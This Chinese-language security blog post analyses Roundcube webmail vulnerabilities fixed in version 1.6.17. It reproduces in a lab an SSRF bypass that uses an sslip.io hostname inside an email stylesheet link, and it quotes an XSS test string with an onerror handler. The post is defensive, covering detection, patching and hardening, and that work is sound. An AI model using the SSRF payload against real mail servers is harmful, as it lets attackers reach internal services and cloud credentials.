當你打開一封電子郵件時,你的郵件伺服器已經在敲一扇你從未給過它的內部位址,因為這封郵件叫它去那裡。這不是假想情境。我已在實驗室中重現並在日誌中抓到請求。
閱讀電子郵件早已不再是被動行為。用戶端解析 MIME、將文字渲染成 HTML、載入樣式、顯示附件、將位址與連結轉為可點擊項目。這些步驟都是在處理陌生人傳來的資料。一旦其中任何一步對資料過度信任,郵件就會開始做你未要求的事。
2026 年 7 月 Roundcube 釋出 1.6.17 版,這不只是一個修補程式,而是整份清單。其中兩項修正的嚴重性位居頂端:NIST 將兩者評為滿分 10.0,MITRE 則對 SSRF 較為保守,給予 7.2 分。其中一項讓郵件能自行讓郵件伺服器觸及內部網路。我在隔離實驗室中架設易受攻擊的版本,並完整走完攻擊流程,直到日誌中出現伺服器本身發出的請求。我也會坦白說明公開資料到哪裡為止,以及為什麼第二個 10.0 分無法從公開資料重現。
事先聲明:我並未在生產環境中使用 Roundcube,這篇文章也不是在批評它是不好的軟體。我從事伺服器安全工作,這裡吸引我的是一個反覆出現的情節。任何用來渲染他人傳來內容的軟體,其攻擊面正好落在它試圖提供便利之處。Roundcube 是一個清晰的例子,因為漏洞存在於功能本身:樣式載入、位址連結化、附件解析。
一封郵件如何讓伺服器走遍網路:CVE-2026-62643(CVSS 10.0)
我將從我實際重現的那一個開始。
當 Roundcube 顯示 HTML 郵件時,它不會直接把樣式交給瀏覽器,而是先把外部樣式抓回自己的伺服器,經過清理器處理後才傳給瀏覽器。這個用意合理:先清除 CSS 中的危險結構,再讓使用者看到。問題在於執行抓取的是伺服器本身。
以下是做出決策的程式碼片段(program/actions/mail/index.php):
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
&& !rcube_utils::is_local_url($attrib['href'])) {
// rewrite the stylesheet link to the internal modcss handler,
// which will fetch the URL ITSELF and return sanitized CSS
$_SESSION['modcssurls'][$tempurl] = $attrib['href'];
...
}
Enter fullscreen mode Exit fullscreen mode
因此,帶有 <link rel="stylesheet" href="..."> 的郵件會讓伺服器去抓取該位址。阻擋它進入內部網路的唯一屏障就是 is_local_url 檢查。整個 SSRF 防禦都建立在這個函式上。讓我們來看看它在 1.6.16 版中的運作方式。
public static function is_local_url($url)
{
$host = parse_url($url, \PHP_URL_HOST);
...
$host = preg_replace('/^::ffff:/i', '', $host);
if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
$host = trim($matches[1], '-.');
}
if ($address = Factory::parseAddressString($host, $options)) {
$nets = [
'0.0.0.0', '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
'192.168.0.0/16', '169.254.0.0/16', '::1/128', 'fc00::/7',
];
foreach ($nets as $net) {
$range = Factory::parseRangeString($net);
if ($range->contains($address)) {
return true; // local, block it
}
}
return false;
}
...
}
Enter fullscreen mode Exit fullscreen mode
直接的私有位址檢查是誠實的:涵蓋所有 RFC1918、回送位址、連結本地位址(包含雲端中繼資料位址 169.254)。你無法寫 href="http://127.0.0.1" 或 http://169.254.169.254,它們會被擋下。
但請看 nip.io 那行。開發者已經知道有 DNS 服務能將 10.0.0.1.nip.io 這種名稱解析回 IP 10.0.0.1。這種服務能把私有位址藏在公開名稱後面:is_local_url 只看到網域名稱而非 IP,因此會放行。於是 nip.io 會先被還原成位址再進行檢查,這是合理的。
只是 nip.io 並非唯一。還有 sslip.io 做完全相同的事,而在 1.6.16 版中它不在那行程式碼裡。這表示 172.30.0.3.sslip.io 對該函式來說只是一個外部網域。它不會拆解,parseAddressString 無法從網域名稱取得 IP,範圍檢查從未觸發,函式回傳 false。判定為非本機,放行。
實驗室
一切都在三個容器的隔離網路中執行,郵箱都是假的。受害者是 Roundcube 1.6.16(修補前的最後版本),郵件伺服器使用 GreenMail,攻擊者容器執行單純的 python -m http.server,在網路中顯示為 172.30.0.3。
services:
roundcube:
image: roundcube/roundcubemail:1.6.16-apache
environment:
ROUNDCUBEMAIL_DEFAULT_HOST: greenmail
ROUNDCUBEMAIL_SMTP_SERVER: greenmail
ports: ["127.0.0.1:8091:80"]
greenmail:
image: greenmail/standalone:latest
environment:
GREENMAIL_OPTS: "-Dgreenmail.setup.test.all [email protected]:victimpass,[email protected]:attackerpass"
attacker:
image: python:3.12-alpine
command: python -m http.server 8000
Enter fullscreen mode Exit fullscreen mode
我直接在容器內確認版本,而不是猜測:
$ docker exec rc-victim head -3 /var/www/html/CHANGELOG.md
# Changelog Roundcube Webmail
## Release 1.6.16
Enter fullscreen mode Exit fullscreen mode
攻擊
我寄給受害者一封郵件,標頭只有一行。我選擇的主機能避開 is_local_url:公開 DNS 會把 172.30.0.3.sslip.io 解析回私有位址 172.30.0.3,我的監聽器就在那裡。
html = (
'<html><head>'
'<link rel="stylesheet" href="http://172.30.0.3.sslip.io:8000/ssrf-proof.css">'
'</head><body><p>Styled newsletter.</p></body></html>'
)
Enter fullscreen mode Exit fullscreen mode
我以受害者身分登入網頁郵件並打開郵件。預設 Roundcube 會阻擋外部內容並顯示允許按鈕,因此這不是零點擊,而是需要使用者點擊一次。我允許外部內容(在實驗室中我執行按鈕背後的相同指令),然後查看監聽器日誌:
172.30.0.4 - - [21/Jul/2026 18:13:38] "GET /ssrf-proof.css HTTP/1.1" 404
Enter fullscreen mode Exit fullscreen mode
請求來了,而且來自 172.30.0.4。那不是受害者的瀏覽器。瀏覽器根本不會從外部看到 172.30.0.3.sslip.io 這個名稱。172.30.0.4 是 Roundcube 容器本身,我用 hostname -i 確認過。因此,伺服器根據郵件中的指令,前往我指定的內部位址。這裡的 404 無關緊要,重要的是請求確實發生了。這就是 SSRF:我沒有存取伺服器內部網路的權限,但透過一封郵件,我讓伺服器為我前往那裡。
在真實伺服器上,我的空監聽器可能換成內部服務、鄰近容器、沒有對外存取的管理面板,或是內部連接埠上的資料庫。特別危險的是雲端中繼資料端點 169.254.169.254:伺服器發出這類請求,就等於把整個雲端帳戶的暫存金鑰交出去。這個版本已經涵蓋該位址(169.254 在封鎖清單中),但這類攻擊的本質正是如此,任何過濾器的疏漏都會重新開啟取得憑證的道路。攻擊者把郵件伺服器變成通往內部網路的代理。
如何在日誌中偵測
網頁郵件中的 SSRF 很方便辨識,因為它會留下明顯痕跡:網頁伺服器程序本身對它不該去的位址發出對外 HTTP 連線。不是用戶端,不是瀏覽器,而是你的 Roundcube 的 php-fpm 或 apache 突然連向內部位址。
警示規則很簡單:任何從網頁伺服器 UID 發出的對外連線,只要目標不在你的允許清單(你的 SMTP、IMAP、更新伺服器)中,就是事件。在實驗室中,就是那行顯示 172.30.0.4 的日誌,也就是 Roundcube 本身的 IP。在生產環境中,相同的模式可以透過出口過濾器或反向代理日誌捕捉到:一個本應只接收請求的服務,突然開始主動發出請求。
修補
一行修補程式。DNS 服務的拆解現在涵蓋的不只 nip.io:
- if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
+ if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {
Enter fullscreen mode Exit fullscreen mode
我把映像檔更新到 1.6.17,重新建立容器,並從同一個郵箱重播完全相同的郵件。確認修補程式已到位:
$ docker exec rc-victim grep -n "sslip" .../rcube_utils.php
447: if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {
Enter fullscreen mode Exit fullscreen mode
我打開郵件並允許外部內容。監聽器日誌在那之後沒有變化,仍然只有 1.6.16 版的那一次請求。沒有新的命中。現在 is_local_url 會把 172.30.0.3.sslip.io 拆解成 172.30.0.3,發現它落在 172.16.0.0/12 範圍內,因此回傳 true。伺服器不會去任何地方。漏洞已修復。
修補程式同時也強化了 IPv6 繞過防護:preg_replace('/^::ffff:/i', ...) 改為 /^[0:]*:ffff:/i,因此 0:0:0:0:0:ffff:127.0.0.1 這類記錄現在也會被攔截。
第二個 10.0,無法從公開資料觸發:CVE-2026-54433
這部分我會坦白說明。對於第二個漏洞,我沒有可運作的利用程式,我會解釋原因,因為分析過程本身比完成結果更有教育意義。
CVE-2026-54433 根據描述,是一個純文字郵件渲染中的零點擊儲存型 XSS。它聽起來很驚人:即使是依定義不含 HTML 的純文字,也能在開啟時執行他人的 JavaScript。原因出在連結化功能。當 Roundcube 顯示純文字郵件時,它會找出其中的電子郵件位址與連結,並包裝成可點擊標籤。這個產生 HTML 的步驟就是漏洞所在。
我查看修補提交。它只有一個提交,修改單一行,即 rcube_string_replacer.php 中 mail 連結查詢部分的正規表示式:
- . "(\?[$url1$url2]+)?" // before: allowed set of characters after ?
+ . '(\?[^<>\s]+)?' // after: forbid < > and whitespace
Enter fullscreen mode Exit fullscreen mode
重點很清楚:之前 mailto 連結的尾端允許可跳出標記的字元,修復後則禁止尖括號與空白字元。提交附帶一個惡意輸入的測試:
[email protected]?]<img/src="x"/onerror=alert(document.domain)>
Enter fullscreen mode Exit fullscreen mode
我在 1.6.16 版上透過瀏覽器執行該輸入,得到以下安全的 HTML:
<a href="mailto:[email protected]?">[email protected]?</a>]<img/src="x"/onerror=alert(document.domain)>
Enter fullscreen mode Exit fullscreen mode
也就是說,<img> 被轉成實體,腳本即使在易受攻擊的版本中也不會執行。我深入調查原因。連結不僅由正規表示式處理,還會經過 parse_url_brackets 函式,該函式會小心移除位址中不成對的括號,包含 ]。因此 ] 進入尾端,而 <img> 落在普通文字中,會被逸出。提交中的測試輸入顯示了修復的邊界,但它本身並非可運作的利用程式。
這是正常情況。附加在修復上的公開測試很少能對應真實世界的有效負載。真正的向量掌握在發現該漏洞的研究人員手中(致謝名單中是 Samsung R&D Institute Ukraine 的 Bohdan Kurinnoy),且在修補程式廣泛部署前不會公開,以免過早武裝攻擊者。你可以從一行 diff 建構出可運作的利用程式,但那需要另外對連結器進行費時費力的工作,我不會把猜測當成重現。可以確切陳述的是:純文字連結器中的漏洞是真實的,其類型為 XSS,已透過縮小字元集的方式修復。無法確切陳述的是:公告中的這一行本身就能攻擊任何人。
這不是單一漏洞,而是整個問題類別
整體來看 1.6.17 版釋出內容,可以清楚看出他們不是在修復隨機錯字,而是在逐一檢視郵件用戶端的攻擊面。
- CVE-2026-54432,另一個儲存型 XSS,但這次是透過附件的 MIME 類型。在附件驗證警告頁面中,類型未經逸出即被插入。
- 密碼外掛程式透過 session 注入的使用者名稱所造成的漏洞。
- 除本篇涵蓋的 sslip.io 之外,還有兩個透過特定本地位址的 SSRF 繞過。
- TNEF 解碼器中的兩個阻斷服務漏洞(即 Outlook 的 winmail.dat):無限迴圈,以及透過壓縮 RTF 中偽造的大小造成的當機。
不同模組、不同漏洞類型,同一個根本原因。用戶端解析並渲染來自郵件的資料:文字、樣式、附件、專有的 Microsoft 格式。每個解析器都是對他人輸入的信任。郵件用戶端越豐富,就有越多地方讓陌生人的郵件獲得超出預期的控制權。樣式帶來 SSRF,連結器帶來 XSS,TNEF 解碼器帶來 DoS。
如果你使用 Roundcube,請立即檢查
- 版本。1.6.17 或更新版本(1.7 分支則為 1.7.2)。上述所有問題均已在該版本中修復。
- 外部內容。預設保持阻擋外部資源。這不僅是隱私保護,也能防止 SSRF 在沒有使用者動作的情況下觸發。
- 網路隔離。郵件前端不應與內部服務及雲端中繼資料端點處於同一平面網路。限制網頁伺服器本身的對外連線,而不僅是對內連線。
- 外掛程式。若使用密碼變更外掛程式,請更新它,它也有自己的漏洞。
- 監控。從你的網頁郵件程序發往非預期位址的對外 HTTP 請求是一種訊號。在實驗室中,SSRF 會顯示為伺服器本身 IP 對不該去的地方發出的請求。
從中可得出的教訓
一行正規表示式忘了第二個 DNS 服務,郵件就能讓你的伺服器在內部網路中行走。另一行字元集未充分縮小,純文字郵件就能觸發 XSS。這不是關於 Roundcube 的問題。這是關於任何渲染他人傳來內容的軟體,預設都會信任該內容,而安全性就是在這長串清單中,一一撤銷那些信任。有時在便利功能與漏洞之間,只差一個過濾器中被遺漏的案例。在這裡,它們累積成整個版本。
實驗室建立在隔離環境中,所有位址與郵箱皆為虛構。內容供防禦自身系統使用。
0 Comments
Log in to join the conversation.No comments yet. Be the first to share your thoughts.